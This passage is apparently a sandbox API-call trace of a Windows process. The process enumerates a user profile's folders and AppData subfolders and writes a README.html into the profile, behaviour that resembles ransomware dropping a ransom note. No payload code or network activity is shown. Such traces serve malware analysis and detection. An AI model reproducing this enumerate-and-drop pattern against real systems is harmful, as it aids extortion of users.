	[0066.149] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", cAlternateFileName="NTUSER~1.BLF")) returned 1
	[0066.149] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f86da0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f86da0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~1.REG")) returned 1
	[0066.149] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f86da0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f86da0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~2.REG")) returned 1
	[0066.149] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cd94e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0x0, dwReserved1=0x0, cFileName="ntuser.ini", cAlternateFileName="")) returned 1
	[0066.149] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xebc94dc0, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xebc94dc0, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1
	[0066.149] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1
	[0066.149] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1
	[0066.149] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1
	[0066.149] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Searches", cAlternateFileName="")) returned 1
	[0066.149] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1
	[0066.149] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1
	[0066.149] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1
	[0066.149] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xebbd66e0, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xebbd66e0, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1
	[0066.149] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3821e60, ftCreationTime.dwHighDateTime=0x1d52dc5, ftLastAccessTime.dwLowDateTime=0x3821e60, ftLastAccessTime.dwHighDateTime=0x1d52dc5, ftLastWriteTime.dwLowDateTime=0x3829390, ftLastWriteTime.dwHighDateTime=0x1d52dc5, nFileSizeHigh=0x0, nFileSizeLow=0x6ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="windows", cAlternateFileName="")) returned 1
	[0066.149] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.149] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.149] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\README.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0066.150] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x12414df8 | out: lpMode=0x12414df8) returned 0
	[0066.151] WriteFile (in: hFile=0xc0, lpBuffer=0x126f0c80*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x12414de8, lpOverlapped=0x0 | out: lpBuffer=0x126f0c80*, lpNumberOfBytesWritten=0x12414de8*=0xc5a, lpOverlapped=0x0) returned 1
	[0066.152] CloseHandle (hObject=0xc0) returned 1
	[0066.152] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12390070*, nNumberOfCharsToWrite=0x38, lpNumberOfCharsWritten=0x12414978, lpReserved=0x0 | out: lpBuffer=0x12390070*, lpNumberOfCharsWritten=0x12414978*=0x38) returned 1
	[0066.155] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata"), fInfoLevelId=0x0, lpFileInformation=0x123fccd8 | out: lpFileInformation=0x123fccd8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.172] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.172] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\*", lpFindFileData=0x1241597c | out: lpFindFileData=0x1241597c*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.172] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241599c | out: lpFindFileData=0x1241599c*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.172] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241599c | out: lpFindFileData=0x1241599c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local", cAlternateFileName="")) returned 1
	[0066.172] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241599c | out: lpFindFileData=0x1241599c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalLow", cAlternateFileName="")) returned 1
	[0066.172] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241599c | out: lpFindFileData=0x1241599c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xec073180, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xec073180, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 1
	[0066.172] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241599c | out: lpFindFileData=0x1241599c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.173] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.173] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local"), fInfoLevelId=0x0, lpFileInformation=0x123fce18 | out: lpFileInformation=0x123fce18*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
	[0066.173] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.173] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\*", lpFindFileData=0x12415918 | out: lpFindFileData=0x12415918*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.173] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.173] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1
	[0066.173] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1
	[0066.173] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apps", cAlternateFileName="")) returned 1
	[0066.173] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65e16800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6adbe1a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6adbe1a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Deployment", cAlternateFileName="DEPLOY~1")) returned 1
	[0066.173] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x66051ca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x66051ca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9791f220, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x1a918, dwReserved0=0x0, dwReserved1=0x0, cFileName="GDIPFONTCACHEV1.DAT", cAlternateFileName="GDIPFO~1.DAT")) returned 1
	[0066.173] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Google", cAlternateFileName="")) returned 1
	[0066.173] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29175f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29175f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29175f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1
	[0066.173] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2b9fc540, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x126775, dwReserved0=0x0, dwReserved1=0x0, cFileName="IconCache.db", cAlternateFileName="ICONCA~1.DB")) returned 1
	[0066.173] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x962f4540, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x962f4540, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1
	[0066.173] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe80ff230, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xe80ff230, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Help", cAlternateFileName="MICROS~2")) returned 1
	[0066.173] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7314c10, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7314c10, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla", cAlternateFileName="")) returned 1
	[0066.173] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf6ea9ba0, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xf6ea9ba0, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1
	[0066.173] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29175f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29175f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29175f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 1
	[0066.173] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ab32d60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ab32d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ab32d60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VirtualStore", cAlternateFileName="VIRTUA~1")) returned 1
	[0066.173] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.174] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.174] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe"), fInfoLevelId=0x0, lpFileInformation=0x123fd2c8 | out: lpFileInformation=0x123fd2c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.174] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.174] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
